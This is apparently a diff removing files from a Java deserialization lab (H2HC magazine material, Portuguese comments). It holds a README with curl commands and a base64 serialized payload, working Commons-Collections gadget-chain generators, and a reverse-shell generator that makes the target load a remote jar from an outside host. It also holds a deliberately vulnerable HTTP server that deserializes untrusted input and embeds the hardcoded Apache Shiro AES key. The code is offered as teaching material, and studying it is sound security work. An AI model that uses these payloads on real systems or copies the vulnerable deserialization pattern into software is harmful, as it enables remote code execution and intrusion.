||||||
2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
|
|
||||||
$ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
|
|
||||||
|
|
||||||
3) Base64 or Gzip+Base64 in cookies. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
|
|
||||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
|
|
||||||
|
|
||||||
4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
|
|
||||||
|
|
||||||
5) XML for XStream RCE vulnerability/serialization. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -d @file.xml
|
|
||||||
|
|
||||||
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
|
|
||||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
==================================================================
|
|
||||||
|
|
||||||
JRE Version: 1.8.0_77
|
|
||||||
[INFO]: Listening on port 8000
|
|
||||||
```
|
|
||||||
|
|
||||||
***Testing payloads***
|
|
||||||
|
|
||||||
Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
|
||||||
```
|
|
||||||
|
|
||||||
Generating payload:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
|
||||||
Saving serialized object in ExampleCommonsCollections1.ser
|
|
||||||
```
|
|
||||||
|
|
||||||
Exploiting vulnerable server:
|
|
||||||
|
|
||||||
Sending the payload in binary format via HTTP POST:
|
|
||||||
```
|
|
||||||
$ rm -rf /tmp/h2hc_2017
|
|
||||||
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
|
|
||||||
Data deserialized!
|
|
||||||
$ ls -all /tmp/h2hc_2017
|
|
||||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
|
|
||||||
```
|
|
||||||
|
|
||||||
Sending the payload in Gzip+Base64 format via HTTP Cookies:
|
|
||||||
```
|
|
||||||
$ rm -rf /tmp/h2hc_2017
|
|
||||||
$ gzip ExampleCommonsCollections1.ser
|
|
||||||
$ base64 -w0 ExampleCommonsCollections1.ser.gz
|
|
||||||
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
|
|
||||||
Data deserialized!
|
|
||||||
$ ls -all /tmp/h2hc_2017
|
|
||||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
|
|
||||||
```
|
|
@ -1,143 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.reflect.*;
|
|
||||||
import java.net.URL;
|
|
||||||
import java.net.URLClassLoader;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gera payload com gadget chain para carregar e executar uma classe remota
|
|
||||||
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
|
||||||
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
|
||||||
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
|
||||||
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
|
||||||
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
|
||||||
* de um LazyMap decorado com a ChainedTransformers.
|
|
||||||
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos.
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ReverseShellCommonsCollectionsHashMap {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
|
|
||||||
|
|
||||||
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
|
|
||||||
String host = null;
|
|
||||||
int port = 1331;
|
|
||||||
|
|
||||||
// Verifica se o usuário forneceu o comando a ser executado
|
|
||||||
if (args.length != 1 || args[0].split(":").length != 2 ) {
|
|
||||||
System.out.println("Invalid params! \n" +
|
|
||||||
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
|
|
||||||
System.exit(1);
|
|
||||||
}
|
|
||||||
host = args[0].split(":")[0];
|
|
||||||
port = Integer.parseInt(args[0].split(":")[1]);
|
|
||||||
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
|
|
||||||
new ConstantTransformer(URLClassLoader.class),
|
|
||||||
new InstantiateTransformer(
|
|
||||||
new Class[]{
|
|
||||||
URL[].class
|
|
||||||
},
|
|
||||||
new Object[]{
|
|
||||||
new URL[]{new URL(remoteJar)}
|
|
||||||
}),
|
|
||||||
new InvokerTransformer("loadClass",
|
|
||||||
new Class[]{
|
|
||||||
String.class
|
|
||||||
},
|
|
||||||
new Object[]{
|
|
||||||
"JexReverse"
|
|
||||||
}),
|
|
||||||
new InstantiateTransformer(
|
|
||||||
new Class[]{ String.class, int.class },
|
|
||||||
new Object[]{ host, port }
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map1 = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map1,transformerChain);
|
|
||||||
|
|
||||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
|
|
||||||
|
|
||||||
HashSet map = new HashSet(1);
|
|
||||||
map.add("foo");
|
|
||||||
Field f = null;
|
|
||||||
try {
|
|
||||||
f = HashSet.class.getDeclaredField("map");
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
f = HashSet.class.getDeclaredField("backingMap");
|
|
||||||
}
|
|
||||||
|
|
||||||
f.setAccessible(true);
|
|
||||||
HashMap innimpl = (HashMap) f.get(map);
|
|
||||||
|
|
||||||
Field f2 = null;
|
|
||||||
try {
|
|
||||||
f2 = HashMap.class.getDeclaredField("table");
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
f2 = HashMap.class.getDeclaredField("elementData");
|
|
||||||
}
|
|
||||||
|
|
||||||
f2.setAccessible(true);
|
|
||||||
Object[] array = (Object[]) f2.get(innimpl);
|
|
||||||
|
|
||||||
Object node = array[0];
|
|
||||||
if(node == null){
|
|
||||||
node = array[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
Field keyField = null;
|
|
||||||
try{
|
|
||||||
keyField = node.getClass().getDeclaredField("key");
|
|
||||||
}catch(Exception e){
|
|
||||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
|
||||||
}
|
|
||||||
|
|
||||||
keyField.setAccessible(true);
|
|
||||||
keyField.set(node, entry);
|
|
||||||
|
|
||||||
// Serializa o objeto
|
|
||||||
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(map);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
@ -1,105 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.*;
|
|
||||||
import java.lang.annotation.Retention;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.*;
|
|
||||||
/**
|
|
||||||
* Gera payload com gadget chain para forçar um Sleep na aplicação.
|
|
||||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
|
||||||
* disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
|
|
||||||
* JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
|
|
||||||
* (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar SleepExample
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class SleepExample {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
|
||||||
|
|
||||||
// Cria array de Transformers que irá resultar na seguinte construção:
|
|
||||||
//Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
new ConstantTransformer(Thread.class), // retorna class Thread.class
|
|
||||||
// 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
|
|
||||||
new InvokerTransformer(
|
|
||||||
"getMethod", // invoca método getMethod
|
|
||||||
( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
|
|
||||||
( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
|
|
||||||
),
|
|
||||||
// 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
|
|
||||||
new InvokerTransformer(
|
|
||||||
"invoke", // invoca método: invoke
|
|
||||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
|
||||||
(new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
|
||||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
|
||||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
|
||||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
|
||||||
// Torna o construtor acessível
|
|
||||||
ctor.setAccessible(true);
|
|
||||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
|
||||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
|
||||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
|
||||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
|
||||||
|
|
||||||
//cria a interface map
|
|
||||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
|
||||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
|
||||||
|
|
||||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
|
||||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
|
||||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
|
||||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
|
||||||
|
|
||||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
|
||||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
|
||||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
|
||||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
|
||||||
System.out.println("Saving serialized object in SleepExample.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(handlerProxy);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
@ -1,42 +0,0 @@
|
|||||||
import java.io.Serializable;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
|
||||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
|
||||||
* O método invoke() desta classe é alcançado quando o readObject da classe
|
|
||||||
* ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet())
|
|
||||||
* O campo irá conter um Proxy entre a interface Map e este InvocationHandler.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class SomeInvocationHandler implements InvocationHandler, Serializable {
|
|
||||||
|
|
||||||
private String cmd;
|
|
||||||
|
|
||||||
// metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente
|
|
||||||
// durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy.
|
|
||||||
@Override
|
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("Invoke method reached! This method can do something dangerous!");
|
|
||||||
Runtime.getRuntime().exec(cmd);
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
// magic method invocado automaticamente durante a desserialização de objetos
|
|
||||||
// deste tipo
|
|
||||||
private void readObject(java.io.ObjectInputStream s)
|
|
||||||
throws java.io.IOException, ClassNotFoundException {
|
|
||||||
s.defaultReadObject();
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("The flow is in SomeInvocationHandler.readObject()");
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,42 +0,0 @@
|
|||||||
import java.io.*;
|
|
||||||
/**
|
|
||||||
* Exemplo simples que demonstra a desserialização nativa de um objeto
|
|
||||||
* salvo em um arquivo. Observe que, durante a desserialização, o método
|
|
||||||
* readObject da classe Alien (que é o tipo do Objeto sendo desserializado)
|
|
||||||
* é automaticamente invocado - por isso, chamado de magic method.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* ----------------------------------------------------------------------- *
|
|
||||||
*
|
|
||||||
* **** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac TestDeserialize.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java TestDeserialize
|
|
||||||
*
|
|
||||||
* OBS: lembre de executar o exemplo TestSerialize antes, de forma
|
|
||||||
* a gerar o objeto serializado no arquivo (ET_object.ser), que
|
|
||||||
* será desserializado por este exemplo.
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class TestDeserialize {
|
|
||||||
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws IOException, ClassNotFoundException {
|
|
||||||
// Obtem stream de bytes a partir do arquivo salvo em disco
|
|
||||||
FileInputStream fis = new FileInputStream("ET_object.ser");
|
|
||||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
|
||||||
// Realiza a desserialização! Nesse momento, os magic methods da classe
|
|
||||||
// Alien serão automaticamente invocados! (ie. readObject)
|
|
||||||
Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao
|
|
||||||
System.out.println("Hi, I'm "+ET.name+" from "+ET.source);
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1,44 +0,0 @@
|
|||||||
import java.io.FileOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
/**
|
|
||||||
* Exemplo simples que demonstra a serializacao nativa de um objeto
|
|
||||||
* e o salva em um arquivo. Observe que, durante a serializacao, o método
|
|
||||||
* writeObject da classe Alien (que é o tipo do Objeto sendo serializado)
|
|
||||||
* é automaticamente invocado.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* **** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac TestSerialize.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java TestSerialize
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class TestSerialize {
|
|
||||||
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws IOException {
|
|
||||||
|
|
||||||
// Instancia objeto a ser serializado e atribui
|
|
||||||
// valores aos seus campos "name" e "source"
|
|
||||||
Alien ET = new Alien();
|
|
||||||
ET.name = "Abu ce taí";
|
|
||||||
ET.source = "Andromeda Galaxy";
|
|
||||||
|
|
||||||
// Cria FileOutputStream para armazenar o objeto serializado em um arquivo
|
|
||||||
FileOutputStream fos = new FileOutputStream("ET_object.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(ET); // <-- Realiza a serializacao
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,402 +0,0 @@
|
|||||||
import com.sun.net.httpserver.HttpExchange;
|
|
||||||
import com.sun.net.httpserver.HttpHandler;
|
|
||||||
import com.sun.net.httpserver.HttpServer;
|
|
||||||
|
|
||||||
import sun.misc.BASE64Decoder;
|
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
|
||||||
import javax.crypto.spec.IvParameterSpec;
|
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.annotation.IncompleteAnnotationException;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
import java.net.InetSocketAddress;
|
|
||||||
import java.net.URLDecoder;
|
|
||||||
//this import is only for java 1.8
|
|
||||||
//import java.util.Base64;
|
|
||||||
import java.security.Key;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos:
|
|
||||||
*
|
|
||||||
* 1) via HTTP POST em formato binário (ou seja, \xAC\xED)
|
|
||||||
* 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...)
|
|
||||||
* 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...)
|
|
||||||
* 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded
|
|
||||||
* 5) via XML para explorar o XStream
|
|
||||||
*
|
|
||||||
* Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que
|
|
||||||
* ocorre em um servidor "real" (erro de casting após a desserialização)
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* OBS: Sobre Apache Shiro, ver:
|
|
||||||
* https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java
|
|
||||||
* https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini
|
|
||||||
* Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc
|
|
||||||
* Se preferir, existem mtos sccripts prontos para geracao do payload, veja:
|
|
||||||
* ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py
|
|
||||||
* Análise: http://www.freebuf.com/articles/system/125187.html
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* **** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java VulnerableHTTPServer
|
|
||||||
*
|
|
||||||
* Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs:
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
* $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
|
|
||||||
public class VulnerableHTTPServer {
|
|
||||||
|
|
||||||
public static void banner(){
|
|
||||||
System.out.println("* =============================================================== *");
|
|
||||||
System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *");
|
|
||||||
System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *");
|
|
||||||
System.out.println("* =============================================================== *");
|
|
||||||
System.out.println("You can inject java serialized objects in the following formats:");
|
|
||||||
System.out.println(
|
|
||||||
"\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+
|
|
||||||
"\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+
|
|
||||||
" $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+
|
|
||||||
"\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+
|
|
||||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+
|
|
||||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+
|
|
||||||
"\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+
|
|
||||||
"\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\"");
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" +
|
|
||||||
"$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer");
|
|
||||||
System.out.println("==================================================================");
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void main(String[] args) throws IOException {
|
|
||||||
banner();
|
|
||||||
int port = 8000;
|
|
||||||
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
|
|
||||||
server.createContext("/", new HTTPHandler());
|
|
||||||
server.setExecutor(null); // creates a default executor
|
|
||||||
server.start();
|
|
||||||
System.out.println("\nJRE Version: "+System.getProperty("java.version"));
|
|
||||||
System.out.println("[INFO]: Listening on port "+port);
|
|
||||||
System.out.println();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
static class HTTPHandler implements HttpHandler {
|
|
||||||
|
|
||||||
String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA==";
|
|
||||||
|
|
||||||
public void handle(HttpExchange t) throws IOException {
|
|
||||||
|
|
||||||
System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress());
|
|
||||||
|
|
||||||
String responseMsg = null;
|
|
||||||
boolean containsCookie = t.getRequestHeaders().containsKey("cookie");
|
|
||||||
|
|
||||||
// if there's a cookie with serialized java object
|
|
||||||
if (containsCookie){
|
|
||||||
String object = t.getRequestHeaders().get("cookie").get(0);
|
|
||||||
object = getObjectValue(object);
|
|
||||||
|
|
||||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
|
||||||
responseMsg = deserialize(object);
|
|
||||||
else { // try deserialize aes-cbc encrypted object
|
|
||||||
|
|
||||||
byte[] plainText = decryptAES(object,aesHardedCodeKey);
|
|
||||||
if (plainText == null)
|
|
||||||
responseMsg = "\nAn error ocurred when decrypting the stream.\n";
|
|
||||||
else
|
|
||||||
